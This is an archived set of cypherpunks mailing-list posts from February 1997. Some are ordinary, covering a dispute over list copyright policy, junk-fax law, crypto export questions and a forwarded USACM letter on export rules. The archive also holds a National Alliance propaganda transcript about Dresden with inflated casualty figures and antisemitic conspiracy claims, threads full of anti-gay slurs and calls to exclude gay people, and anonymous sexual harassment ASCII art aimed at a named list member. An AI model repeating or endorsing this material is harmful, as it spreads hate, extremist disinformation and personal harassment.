contact the 1,000+ members and get their specific fair use contracts
resolved. This way there is nothing to resolve, if there is a copyright
notice and doesn't specificaly permit such use that message would be
dropped. The rest would be available for wider distribution and storage.

> Further, your suggestion
> that posters be required to include a "fair use header" is compelled
> speech.

So is requiring me to post a "fair use header" if I want my material public
domain by default. You call it 'tomatoe', I call it 'tomahto'. It comes down
to what is best for society and what 'best' means. If best in your book
equals 'maximize profit potential' then the current standard is best. If,
however, your definition is 'spread the idea as far and wide as possible,
may it flourish and have many offspring' then we need to go back to the old
standard.

> That's three flavors of "censorship" right there. I thought that the new
> list(s) were supposed to allow anyone to say anything they wanted. 

None of these qualify as censorship, I am not applying anything to 
anyone that is not being currently applied now. I am only taking the
alternate tack, which was the legal tact until mid-80's.

> (Does "no fair use" count as a "fair use header"? It's not legally
> enforceable, but it seems like the easiest way to specify "minimum fair
> use required by law". If not, are you planning to moderate the list to
> make sure that people use only approved fair use headers? Hmm.) 

No need to moderate the list, it does it for me. I don't do anything with
the messages, simply let them come and go. Those with no header would be
fair game for anyone to use for any purpose they chose. I would hold that
your position of implied copyright is a censorship because it prohibits
persons from using the material without the authors permission (and probably
paying a fee, economic censorship).

Cypherpunkish? I think not. Mercenary, could be.

> Even if the "copyright abandonment by implication" trick works (and I
> suspect it will not,

It certainly did until the mid-80's. It certainly is no more of a trick
than the forcing of copyright on those who don't want it.

> given that an assignment or transfer of copyright
> must be in writing, 17 USC 204;

And I hold that the submission of a subscription request and the acceptance
of the subscription notice conditions received as a reply qualify as that
written transfer. If they are unacceptable unsubscribe, which is described
in detail in the same subscription notice that details the conditions of
access.

> and abandonment is essentially an
> assignment or transfer to the public domain), it will not apply to all
> text sent to the list.

A good thing.

> A person cannot abandon or assign something they
> do not have; so if someone sends a message to the list which contains
> text whose copyright is held by a third party, that copyright will still
> be valid. 

That is a good thing. A person should not harm another or their property
without their prior permission.

> So what you've got is a list where you can't be sure that its contents
> are public domain, and a draconian rule requiring authors to give up
> their rights to what they've written.

I have not required anyone to give up anything. All I have required is that
authors specificaly state that they want to retain rights to the document.
This is no more draconian than requiring a person to write a public domain
release on their text if that is their choice.

What we have now is a list where the messages come flying across my screen
and I can't use them anywhere else unless I go and get somebodies permission
first. Is that freedom of speech? Freedom of the press? Sounds more like
economic strangulation of technological and social progress and the
hindering of the spreading of knowledge.

> Do you imagine that all of the many-majordomo servers will implement
> your "public domain only" rule, or only yours? 

No, the point was that different servers could have different policies. That
hypothesis is now thoroughly proved wrong. We also now have clear evidence
that at least some of the Cypherpunk ideals are not real-world. What we have
now is the imposition of these implicit regulations across all the
remailers, in some cases against their will. This is not compromise but
rather capitulation through duress. Implicit copyright is censorship.

This realization is the reason that I dropped it for the cypherpunks list.
It was clear that pressing for server-dependant policies was not tenable.

> If the rule is intended to apply to all servers, and servers aren't
> going to be allowed into the network

I am amazed at your ability to construe things that were never stated, let
alone implied. I was under the impression that a variety of access policies
and various filtering schemes was one of the stated goals.

I also feel you give me entirely too much credit and not enough to Igor,
firebeard, and others who are involved. Whether you know it or not, they are
not straw men nor pseudonyms that I employ.

> without agreeing to implement it
> locally, um, tell me again about that "free speech" thing? Aren't you
> just taking advantage of your position as a person working on the
> many-majordomos project to impose your ideas about intellectual property
> on the rest of the list? Is such a strategy compatible with "free
> speech"? 

No more so than the imposition of copyright to hinder the free and unbridled
exchange of ideas.

> Also, how could a rule like this possibly be compatible with a Usenet
> gateway? There's no chance at all that you can expand a local rule on
> your system to all of Usenet through a gateway. 

A very good argument on why in our current system de facto copyright actualy
hinders free exchange of ideas. Thanks, I hadn't thought of that aspect.

> And Declan McCullagh wrote:
> 
> >I forward articles to cypherpunks that are copyrighted by my employers, or
> >magazines like Playboy and Wired for which I write freelance pieces. 
> >
> >I like to think these articles have some value. I will not forward any of
> >them, nor would I be able to, if they magically became "public domain."
> 
> Which are good points

Strawman arguments to cover the motives of profit driving them. I suspect
that if the magazine (who probably own the actual copyright) agreed to allow
them to be presented in total before posting would require that some sort of
explicit copyright notice be retained. I am shure the articles have some
value, a check was written for them at some point I believe.

> - also, don't forget that, from time to time,
> people have even posted code to the cpunks list, and many software
> authors like to retain copyright in their code so that they can insist
> on things like noncommercial distribtion or credit where the code is
> reused. If a work is truly "public domain", the author has no power to
> insist on those things. 

Certainly they do, put the statement in the code header - just like any
programmer with a clue is going to do now. All I am asking is that you give
me a fair shot at figuring out what you individualy want done with your
material when I see it. Should I save it for later use or simply shit-can it
because I don't want to deal with the hassle of getting permission.
Currently I shit-can just about everything for this reason unless it has
some sort of technical chart or table I can re-arrange or is related to
Advanced Squad Leader or Traveller. Does that sound like the ideal atmosphere
to expand knowledge? Is that how you want your ideas and commentary to end up?

Hell, under the current system I take a completely unwarranted risk if I do
nothing more than print out your email and then show it to somebody else.
Why? Because I don't know before hand whether that is ok with you or do you
really want to retain distribution rights. To be completely safe I need to
email you and ask permission to do that. Unacceptable restraint of speech.
The only option that leaves me is no speech because I can't afford it. Not
very cypherpunkish.

> This proposed rule seems to limit postings to those which are perceived
> by their authors to be without commercial or reputational value. Is that
> a good idea?

Not if that was what was proposed here, fortunately reality bears no
resemblance to your interpretation.

What I really find interesting is that in the 3 years SSZ has been up and
the 8 mailing lists (with about 300 subscribers total) nobody has ever
complained about the public domain policy and nobody has ever put a
copyright header on their messages. All these lists are technical and
several of them are directly involved with technical development of
projects, some for commercial apps.


                                                Jim Choate
                                                CyberTects
                                                ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Fri, 14 Feb 1997 03:31:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on digital postage
Message-ID: <199702141131.DAA17173@idiom.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim may says:

>By the way, I think the "junk fax" and "junk phone call" laws are clearcut
>violations of the First Amendment. I understand why the herd _wants_ these
>laws, as it reduces the costs involved in replacing fax paper, running to
>the telephone only to find someone trying to sell something, etc., but it
>is quite clearly a prior restraint on speech, however well-intentioned.

I have to disagree here.  The junk fax law is a restraint on unauthorised
use of property, i.e. *my* fax machine, *my* phone, etc. 

That tort of unauthorised use of property applies, whether someone's sending
me a fax to sell me spamming software, or whether it's some kid ringing
my doorbell and running away.  It's not the speech that I'm fighting, it's 
the misuse of my property.

Freedom of speech does not confer a right to use other people's property.

-jcr







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: advinfo@dreamon.com (Adv Info)
Date: Fri, 14 Feb 1997 01:48:42 -0800 (PST)
To: advinfo@dreamon.com
Subject: American Dissident Voices Weekly Transcripts
Message-ID: <33043521.3866@dreamon.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

For more information, please e-mail advinfo@dreamon.com. Please visit
our World Wide Web Site at http://www.natall.com. For patriotic books
and tapes, visit National Vanguard Books Online Catalog at 
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------

American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Dresden: A Real Holocaust

by Kevin Alfred Strom 

The night of February 13th, and February 14th, Valentine's Day, mark an
ominous anniversary in the history of Western Civilization. For
beginning on the night of February 13th, 1945, occurred the destruction
of Dresden. 

On the eve of Valentine's Day, 1945, World War II in Europe was nearly
over. For all practical purposes Germany was already defeated. Italy,
and Germany's other European allies, had fallen by the wayside. The Red
Army was rushing to occupy vast areas of what had been Germany in the
East, while the allies of the Soviets, the British and Americans, were
bombing what was left of Germany's defenses and food and transportation
infrastructure into nonexistence. 

And what was Dresden? Most of you have probably heard of Dresden China,
and that delicately executed and meticulously detailed porcelain is
really a perfect symbol for that city. For centuries Dresden had been a
center of art and culture, and refined leisure and recreation. She was a
city of art museums and theatres, circuses and sports stadia, a town of
ancient half-timbered buildings looking for all the world like those of
medieval England, with venerable churches and centuries-old cathedrals
gracing her skyline. She was a city of artists and craftsmen, of actors
and dancers, of tourists and the merchants and hotels that served them.
Above all, what Dresden was, was defined during the war by what she was
not. She had no significant military or industrial installations.
Because of this, Dresden had become, above all other things that she
was, a city of children, of women, of refugees, and of the injured and
maimed who were recovering from their wounds in her many hospitals. 

These women and children, these wounded soldiers, these infirm and
elderly people, these refugees fleeing from the brutal onslaught of the
Communist armies to the East, had come to Dresden because it was
commonly believed at the time that Dresden would not be attacked. Its
lack of strategic or military or industrial significance, and the
well-known presence of hundreds of thousands of innocent civilian
refugees and even Allied prisoners of war, seemed to guarantee safety to
the city. Surely, it was thought, not even a the most powerful and
determined enemy would be so depraved and sadistic, and so wasteful of
that enemy's own resources, to attack such a city. But the people of
Dresden, who were happily attending the cinema or eating dinner at home
or watching the show-horses in the circus on that fateful night were
wrong, wrong, wrong. And their leaders were also wrong, for the city was
virtually open and undefended and only minimal civil defense
preparations had been made. 

Dresden's population had almost doubled in the months before the attack,
mainly as a result of the influx of refugees from the Eastern Front,
most of them women and young children. According to British historian
David Irving, the briefings given to the British bomber squadrons before
the attack on Dresden were curiously different. In one, the soldiers
were told that their target was the railway center of Dresden. In
another, they were told that the target was a poison-gas factory. In yet
another, they were told that the target was a marshalling-grounds for
troops in the city. Another was told that the target was a major
arsenal. These were all lies. 

The only marshalling-grounds for what few troops were in the area were
located well outside the city. The arsenal had burned down in 1916.
There were factories for toothpaste and baby-powder in Dresden, but none
for poison gas. There were, in fact, no fewer than eighteen railway
stations in Dresden, but only one was hit by the bombing, and that was
barely touched and in fact was operating again just three days later. 

According to copious documentation unearthed by David Irving from the
archives of the American and British governments, the point of the
attack was in fact to inflict the maximum loss of life on the civilian
population and particularly to kill as many refugees as possible who
were fleeing from the Red Army. In achieving these goals it was highly
successful. It was thus planned and executed by those at the very
highest levels of the British and American governments, who to attain
their purposes even lied to their own soldiers and citizens, who to this
day have never been told the full story by their leaders. 

How was this devastating effect accomplished? 

At 10:10 PM on February 13th, the first wave of the attack, consisting
of the British Number 5 Bomber Group, began. The attacking force
consisted of about 2,000 bombers with additional support craft, which
dropped over 3,000 high explosive and 650,000 incendiary bombs (more
commonly known as firebombs) on the center of the city. Incendiary bombs
are not known for their efficiency per pound in destroying heavy
equipment such as military hardware or railroad tracks, but are
extremely effective in producing maximum loss of human life. The loads
carried by the bombers were over 75 per cent incendiaries. In fact, the
goal of the first wave of the attack was, according to British air
commander Sir Arthur Bomber Harris, to set the city well on fire. That
he did. 

The lack of any effective anti-aircraft defenses allowed the bombers to
drop to very low altitudes and thus a relatively high degree of
precision and visual identification of targets was achieved. Despite the
fact that they could clearly see that the marked target area contained
hospitals and sports stadia and residential areas of center city
Dresden, the bombers nevertheless obeyed orders and rained down a fiery
death upon the unlucky inhabitants of that city on a scale which had
never before been seen on planet Earth. Hundreds of thousands of
innocents were literally consumed by fire, an actual holocaust by the
true definition of the word: complete consumption by fire. 

The incendiaries started thousands of fires and, aided by a stiff wind
and the early-on destruction of the telephone exchanges that might have
summoned firefighters from nearby towns, these fires soon coalesced into
one unimaginably huge firestorm. Now such firestorms are not natural
phenomena, and are seldom created by man, so few people have any idea of
their nature. Basically, what happened was this: The intense heat caused
by the huge column of smoke and flame, miles high and thousands of acres
in area, created a terrific updraft of air in the center of the column.
This created a very low pressure at the base of the column, and
surrounding fresh air rushed inward at speeds estimated to be thirty
times that of an ordinary tornado. An ordinary tornado wind-force is a
result of temperature differences of perhaps 20 to 30 degrees
centigrade. In this firestorm the temperature differences were on the
order of 600 to 1,000 degrees centigrade. This inward-rushing air
further fed the flames, creating a literal tornado of fire, with winds
in the surrounding area of many hundreds of miles per hour--sweeping
men, women, children, animals, vehicles and uprooted trees pell-mell
into the glowing inferno. 

But this was only the first stage of the plan. 

Exactly on schedule, three hours after the first attack, a second
massive armada of British bombers arrived, again loaded with high
explosive and massive quantities of incendiary bombs. The residents of
Dresden, their power systems destroyed by the first raid, had no warning
of the second. Again the British bombers attacked the center city of
Dresden, this time dividing their targets--one half of the bombs were to
be dropped into the center of the conflagration, to keep it going, the
other half around the edges of the firestorm. No pretense whatever was
made of selecting military targets. The timing of the second armada was
such as to ensure that a large quantity of the surviving civilians would
have emerged from their shelters by that time, which was the case, and
also in hopes that rescue and firefighting crews would have arrived from
surrounding cities, which also proved to be true. The firefighters and
medics thus incinerated hadn't needed the telephone exchange to know
that they were needed--the firestorm was visible from a distance of 200
miles. 

It is reported that body parts, pieces of clothing, tree branches, huge
quantities of ashes, and miscellaneous debris from the firestorm fell
for days on the surrounding countryside as far away as eighteen miles.
After the attack finally subsided, rescue workers found nothing but
liquefied remains of the inhabitants of some shelters, where even the
metal kitchen utensils had melted from the intense heat. 

The next day, Ash Wednesday and Valentine's Day, 1945, medical and other
emergency personnel from all over central Germany had converged on
Dresden. Little did they suspect that yet a third wave of bombers was on
its way, this time American. This attack had been carefully coordinated
with the previous raids. Four hundred fifty Flying Fortresses and a
support contingent of fighters arrived to finish the job at noon. I
quote from David Irving's The Destruction of Dresden: 

"Just a few hours before Dresden had been a fairy-tale city of spires
and cobbled streets .... now total war had put an end to all that.
...The ferocity of the US raid of 14th February had finally brought the
people to their knees... but it was not the bombs which finally
demoralised the people ... it was the Mustang fighters, which suddenly
appeared low over the city, firing on everything that moved .... one
section of the Mustangs concentrated on the river banks, where masses of
bombed-out people had gathered. ... British prisoners who had been
released from their burning camps were among the first to suffer the
discomfort of machine-gunning attacks .... wherever columns of tramping
people were marching in or out of the city they were pounced on by the
fighters, and machine-gunned or raked with cannon fire." 

Ladies and gentlemen, on this program I can only give you a bare glimpse
of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer
than 135,000 innocent victims died, with some estimates as high as
300,000. More died in Dresden than died in the well-known attacks on
Hiroshima and Nagasaki. More destruction befell Dresden in one day than
was inflicted on the whole of Britain during the entire war. And yet you
haven't been told. 

I urge every one of you to read The Destruction of Dresden by David
Irving. I assure you, after reading Irving's book, you will never take
seriously the Establishment's version of what happened in that war
again. 

What you ought to take seriously, though, is the fact that the same
clique that controlled the traitorous Roosevelt and Churchill
governments, whose hatred of our race and civilization and whose
alliance with Communism were the real causes of the holocaust of
Dresden, still controls our government and our media today. It is they
who are pushing for a disarmed, racially mixed America. It is they who
promote the teaching of sodomy to our young children. It is they who are
destroying our industrial infrastructure in the name of a global
economy. It is they who created the drug subculture and then also the
police state agencies which pretend to fight it. The hour is very late
for America and indeed for all of Western civilization. But if patriots
will heed our call, then there is no reason for despair. For the enemies
of our nation may have power, but their power is based on lies. Won't
you help us cut through the chain of lies that holds our people in
mental slavery? 

~

National Alliance Main Page
http://www.natvan.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 02:11:13 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
In-Reply-To: <199702140501.XAA28650@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970214050510.31811A-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 13 Feb 1997, Igor Chudov @ home wrote:

> Date: Thu, 13 Feb 1997 23:01:39 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: Cypherpunks <cypherpunks@toad.com>
> Cc: nobody@huge.cajones.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: Dale disses gays.
> 
> Dale Thorn wrote:
> > Huge Cajones Remailer wrote:

Now just who is thisa guy? -- who keeps posting under
"nobody" at the cajones remailer?  Anybody have him/her
tagged yet for the real person?

> > > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> > 
> > > How, Dale, by the smell?
> > 
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.
> 
> This is a typical case of overconfidence on her part.
> 
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> 

I don't know.  It has always been easy for me to spot a faggot.  I
mean, I can even tell by their voice if they are queer.

> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.
> 

Tell each one of them to converse for 5 minutes, and I can tell you
9 out of 10 faggots for sure. I used to be a dancer, and the faggots 
were knee deep at Point Park College dance classes.

> A truly great and simple book that talks about this stuff is ``Decision
> Traps: the ten barriers to brilliant decision making''.
> 
> > BTW, my browser has a problem with your lines that have no c/r after
> > every 70 or so characters. Other people will undoubtedly confirm that.
> 
> Yes, we will.
> 
> 	- Igor.
> 

True, it is a bitch if you are using a brtowser for e-mail.
Try Pine instead. {;-)-~


How many days left for that toad.com list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anand abhyankar <anand@querisoft.com>
Date: Thu, 13 Feb 1997 16:27:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: crypto restrictions
Message-ID: <330466AB.3D19@querisoft.com>
MIME-Version: 1.0
Content-Type: text/plain


hi guys,
i am a bit confused. what exactly are the us govt crypto regulations.
what i mean is that :

1) is it illegal to develop an encryption tool (s/w) in the US which
uses > 40 bit size session keys and then export that s/w outside of the
US.

2) is it illegal to encrypt some data inside the us with a key > 40 bit
in size and then send that data outside the US.

thanx.
anand....




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 14 Feb 1997 03:02:16 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <19970213171732.9310.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.LNX.3.95.970214053042.31811B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On 13 Feb 1997, Against Moderation wrote:

> Date: 13 Feb 1997 17:17:32 -0000
> From: Against Moderation <antimod@nym.alias.net>
> To: aga@dhp.com
> Cc: cypherpunks@toad.com, cypherpunks@pgh.org, ichudov@algebra.com,
>     dlv@bwalk.dm.com, freedom-knights@jetcafe.org
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> > Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST)
> > From: aga <aga@dhp.com>
> > 
> > Well, the fact remains that the homos are instrumental in creating and
> > forming a cliquish and censored usenet.  There is just no question
> > about that.  Remember the previous cypherpunk who stated that the
> > gays "created and run usenet."
> 
> No.  Who said that, and why do you think the person was serious, let
> alone telling the truth?
> 
It was on the list last month, and the person was serious and correct.
That is exactly why we must now kill all of usenet as it stands, for
a new heterosexual beginning.

> > Your assumption that I am a "bigot" makes it you appear uninformed.
> > Sexism is good, but racism is bad.   A sexist is not a bigot.
> > 
> > The only one who qualifies as a "bigot" is a racist.
> 
> According to the American Heritage dictionary:
>   bigot n. One who is strongly partial to one's own group, religion,
>      race, or politics and is intolerant of those who differ.
> 

Nothing in there about faggots or cunts, is there?

> According to Webster:
>   bigot n. One obstinately or intolerantly devoted to his own opinions
>      and prejudices
> 

Nothing in there about faggots or cunts, is there?


Again, MY definition of a "bigot" is the correct one which is
most understood by modern people.

A "bigot" is a racist, period.

> I see nothing that limits bigotry to racial intolerance.
> 

You are a fool then.  Religion and sexism and groups all have nothing
to do with bigotry.  A bigot is a racist, period.  That is TODAY'S
correct definition of the term, and I am a lot more current than
Webster.  Any anybody who has a "religion" and "prays" is a fool.
The only god you will ever find is within yourself.

> > It is very logical and wise to discriminate on the basis of sex.
> 
> Most would disagree, and decide based on that and other statements you
> have made that you must be an extremely unpleasant person.
> 

See, there you go again, attacking the person, instead of the
argument.  You lose points for that.  Sexism is GOOD and right and
justified.  I want a woman cutting my hair, and a man fixing my car,
and I demand the correct sex for ALL activities.

> If you want to fight censorship effectively, going around telling
> people "You're a shit-eating faggot you fucking cock-sucking homo
> censor" in public forums is not going to win you many points.

Look sonny, I am not out to win any points.  I have two Doctorates and
22 years of experience.   I speak with authority and only to those who
have the intelligence to understand.   I was a perfect 4.00 in
College, and am probably the most intelligent body-politic analyst in
the world.  Now let's face it:  Faggots are BAD news.  They are most
always censors!  And that is the truth you can never get around.
  
> Instead, it will quickly land you in many people's killfiles, and will
> eventually lead some people with bad client software to wonder if it
> wouldn't be worth giving up some freedom of speech for the benefit of
> not having to see your rants any more.
> 

Hey boy, I am too strong to stop.  I have more people and, more money
and more connections than you could ever dream of.  We are here to
"rip new assholes" in the faggots who have ruined the net thus far,
and to take over and make this net heterosexual oriented.  Just wait
until you see me in person some day; you are in for a big suprise.

> I'm not saying you don't have a right to express your opinions.  I'm
> just remarking that you appear to be more in the business of inducing
> censorship than fighting it.  

No, all censorship shall be eliminated from this Net and I will
fight to the death to achieve that.  The only way to stop us is to
kill all of us, and you can not do that.  I have 6 or 8 associates
that you are unaware of, and we plan to KILL the current system real
soon.

> If that's the case, so be it; someone
> has to get censored in order for people to fight censorship, and
> exposing people's willingness to censor is not necessarily a bad thing
> in itself.
> 

So you plan on censoring me?  Not likely sonny boy.  I have more
connections than you have fingers on your one hand.

> Unfortunately, it sort of makes life harder for those who actually
> fight the censorship when you pretend to be one of them.  Your
> argument seems to run something like, "To protect freedom of speech,
> bad all faggots from the net, and especially don't let them run any
> mailing lists."  

That is a good idea.  Faggots are most always censors, and can not be
trusted with heterosexual people.

> If this offensive and highly noticeable argument
> eclipses many of the important, fundamental ones as the censors would
> like it too (why do you think your articles make it to cypherpunks-
> flames while mine only get as far as -unedited), 

Because of the faggot.  They always try to censor the TRUTH!

> you will end up not
> only inducing censorship but also seriously hampering the efforts of
> those who are legitimately fighting that censorship.
> 

Look sonny, we are out to KILL John Gilmore's control of this net, and
your listing of the -three- different lists manufactured by that
fucking queer should put the icing on the cake.

> > I am not a racist, so therefore I can not be a "bigot," regardless of
> > my views on homosexuality.
> 
> See above.
> 

Again:

Most faggots are censorous, and therefore NO faggots should ever have
any control over any "censoring" acvtivities of this net.  Period.

We have come to the time when one's sex and sexual orientation
should be clearly stated on all e-mail and Usenet commo.  Everyone
should start providing the data, for the good of the community.

No one should be forced to communicate with a faggot.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Feb 1997 07:30:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
In-Reply-To: <199702140501.XAA28650@manifold.algebra.com>
Message-ID: <330484AC.5E5@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.

> This is a typical case of overconfidence on her part.
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.

If you really intended to do this as an experiment, this method would
not work.  The way it works (and what she meant I believe):

1. Start with 100. Observe them very briefly and pick the most obvious
   candidates from immediately-discernable features. How accurate this
   would be is not so much hit or miss by misidentification as it is
   making too broad an evaluation on the first round.
2. Now that you've eliminated the most obvious of the gays and the
   most obvious non-gays, take only what's left and observe for
   somewhat longer, and you should be able (if you're as good as her)
   to pick off quite a few more.  In the end, of course, there has
   to be doubt about quite a few, which is the whole point of having
   a non-discriminatory policy, so that nobody feels compelled to
   make judgements where they are not warranted.

If you think I'm carrying this too far, check out the comedy movie
with Tom Hanks and Sally Field, where Hanks identifies a Jewish
doctor by superficial appearance alone.  It's my only point.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:35:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Rubber hoses
Message-ID: <199702141435.HAA21564@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dildo Vegetable K[ondom] Of The Minute grew a beard to look like his
mother.

(~\/~) /~'\ /`~\   _    _
`\  /'(    `    ) ( `\/' )
  `'   `\     /'  `\    /' Dildo Vegetable K[ondom] Of The Minute
         `\ /'      `\/'
           '






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:48:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sphere packing
Message-ID: <199702141448.HAA21975@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Deceased Vulture K[ock] Of The Minute uses an Adolf Hitler action
figure as a dildo.

                /"\
               |\./|
               |   |
               |   |
               |>*<|
               |   |
            /'\|   |/'\
        /'\|   |   |   |
       |   %%%%%   |   |\
       |   |   |   |   |  \    
       | *   *   *   * |>   >   Deceased Vulture K[ock] Of The Minute
       |                  /      
        |               /
         |            /
          \          |
           |--/'''\--|
           | |--+= | |
           |--\.../--|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@wazoo.com (Anonymous)
Date: Fri, 14 Feb 1997 06:56:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Copyright violations
Message-ID: <199702141456.HAA22269@earth.wazoo.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vinyl K[unt]OfTheMinute has been fired for stealing blow
jobs.

   _<_
  (_|_(  Dr.Dimitri Vinyl K[unt]OfTheMinute
\-._|_,-,
 `-----'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 14 Feb 1997 07:32:10 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Fuck UseNet
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <33048C10.1206@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jeremiah A Blatz wrote:
> alt.cypherpunks has been newgroup'ed, and I belive rm'grouped. Smart,
> consiencous newsadmins probably did not honor the rmgroup, as
> alt.cypherpunks should be acceptable, but most newsadmins are too
> overworked to actually look at most of the crap that comes through.

> Therefore, it would be a Good Thing to continue any discussion on
> alt.config, and convince any cabal'ers who rmgroup it to re-new it.
> Sending out boosters every couple of weeks wouldn't hurt, either.

  So, basically, you're saying that the flight from censorship should
be toward a new CypherPunk 'home' where one is effectively censored
automatically unless one kisses the ass of a Cabal?

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 08:29:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: USACM analysis of Commerce Dept crypto export proposals
Message-ID: <Pine.GSO.3.95.970214082902.18332C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 14 Feb 1997 08:28:28 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: USACM analysis of Commerce Dept crypto export proposals

February 12, 1997


Nancy Crowe
Regulatory Policy Division
Bureau of Export Administration
Department of Commerce
Room 2705
14th Street and Pennsylvania Ave., N.W.
Washington, D.C. 20230.

Docket No. 960918265-6366-03

Dear Ms. Crowe

        The United States Public Policy Committee for the Association for
Computing (USACM) welcomes this opportunity to submit our views on the
Interim Rule issued by the Department of Commerce with regard to
"Encryption Items Transferred From the United States Munitions List to the
Commerce Control List."  The USACM believes it is in the best interest of
the U.S. government to promote the widespread use of strong encryption.
>From our perspective the Interim Rule fails to recognize the legitimate
needs and interests of academic, professional, scientific, and ordinary
users of telecommunications technology.  Thus, the Interim Rule must be
modified before it can resolve the many problems with the current export
controls on encryption technologies.

Introduction and Summary

        The Association for Computing is an international professional
society whose 76,000 members (60,000 in the U.S.) represent a critical
mass of computer scientists in education, industry, and government.  The
USACM provides a means for promoting dialogue on technology policy issues
with United States policy makers and the general public. We have
identified a number of serious problems with specific provisions of the
Interim Rule.

        As a professional society of computer scientists which produces a
number of peer-reviewed technical journals, we are concerned that the
Interim Rule will hamper both communication and education in our field.
Part 7.34.3 (b)(3) which refers to the distinction between printed and
electronic publications of cryptographic materials is unworkable under the
new paradigms of electronic publishing and communications. Electronic
media, including the World Wide Web, listserves, Usenet news groups, and
video conferencing are becoming the prominent means by which scientists
communicate.  Provisions of the Rule, specifically Parts 7.34.9 and 744.9,
which affect teaching cryptography to foreign students are vague and
contradictory.  Educational environments are not limited to academic
institutions but also occur in national and industry labs and by distance
education.  Restrictions on cryptography exports must not interfere with
the traditional freedom of access over digital networks which is
indispensable to maintain motivated and effective academic and research
communities.

        We also believe that the development of public policies and
technical standards for communications technologies, such as a Key
Recovery Infrastructure (KRI), raise vital issues of privacy,
competitiveness, and scientific innovation.  Parts 740.8 and 742.15 raise
a number of troubling issues for the computing community.  We believe it
is unwise for the Commerce Department to link relaxing export controls on
56-bit encryption to the development of a KRI as both the desirability and
the feasibility of such a system remains uncertain. Key recovery products
have not yet been subject to the vigorous testing necessary for a proposed
standard and there is little understanding of how such a system would
operate and what controls would be needed to ensure that it remained
secure.  Also, Supplement No. 7 to part 742 (which requires that
businesses who wish to export 56-bit encryption before 1998 submit a
biannual business plan for developing key recovery products) will stifle
the innovation of new cryptography technologies and discourage the process
of scientific innovation.  We believe the Commerce Department should not
promulgate regulations which prohibit U.S. research and development from
responding to market demands and limit the ability of Americans using new
on-line services to protect their privacy.

Analysis

        The USACM has identified electronic publication, education,
research and development, key recovery, and privacy as problematic areas
which need addressing.  We have outlined our concerns below:

Electronic Publishing

